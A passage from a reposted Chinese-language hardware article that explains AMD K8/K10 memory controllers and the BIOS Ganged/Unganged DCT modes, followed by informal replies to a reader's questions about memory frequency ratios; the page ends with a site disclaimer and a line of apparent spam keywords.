)是內存控制器,它控制內存的讀取等操作,決定了K8/K10

的內存性能。它的控制功能適用于任何類型的內存。

DCT(DRAM Controller)

是“內存界面控制器”,也稱DRAM

控制器。它決定了可以使用的內存類型。它可以升級換代,以適應不同類型的內存。也就是說,內存控制器支持什么類型的內存是由它決定的。

14

:在支持AMD K10

主板的BIOS

中的DCTs Mode

是什么意思?

答:DCTs Mode(DRAM

控制器模式)

是指K10

中所安裝的兩個獨立的64bit

單元內存控制器的兩種運行模式。有Ganged Mode

Unganged Mode

。后者是默認模式。

前一種模式就跟K8

雙通道模式相同,兩通道的內存會邏輯上連為一體,構成128bit

,這個模式稱為「Ganged Mode

」。

如果兩個控制器同時啟動,總合起來每個時脈周期一樣有128bit

的資料傳輸。這不是雙通道,也不是單通道,而是兩個單通道同時運行,稱為「Unganged Mode

」模式。這種模式的好處是對兩個內存的一致性要求不高。

答hmhding網友:因為下述文字“超過”1000字了。加不上。所以放到這里來回答你:

第一個問題:調控的目的和效果就是讓加于內存的頻率不過載。即當外頻為200MHz時,用DDR2-667時,加給內存的頻率是166MHz而不是200MHz。當然也就不存在藍屏的問題了。

第二個問題:當外頻是200MHz時,用兩個DDR400組成雙通道,就是為解決帶寬的瓶頸的。其實,用一個DDR400也可以。

第三個問題:你的外頻是100MHz,FSB:DRAM=3:4。由此可以推算出你采用的DDR400已經降頻到DDR266使用了。至于為什么不是降到DDR200,我也說不清。是不是主板不支持?請看看你的主板說明書把。謝謝。

對你第二次來信的回復(就這么幾個字,人家總說超過1000字了,貼不上):從你這段話就完全清楚了為什么內存頻率只降級到DDR266,而不是降級到DDR200的原因了。因為“host/dram clock ratio選項”的含義實際上是內存的數據頻率/外頻。主板默認它為2.66,所以,內存的數據頻率就等于100MHz×2.66=266MHz。這個判斷是我根據GA-81的說明書作出來的,你也可以仔細看看你的說明書。

免責聲明:本文僅代表文章作者的個人觀點,與本站無關。其原創性、真實性以及文中陳述文字和內容未經本站證實,請讀者僅作參考,并自行核實相關內容。如發現有害或侵權內容,請聯系郵箱:jubao@pinlue.com,我們將在第一時間進行核實處理。

http://image95.pinlue.com/image/6.jpg
分享
評論
首頁
暖暖高清在线观看视频桃花社区视频在线观看播放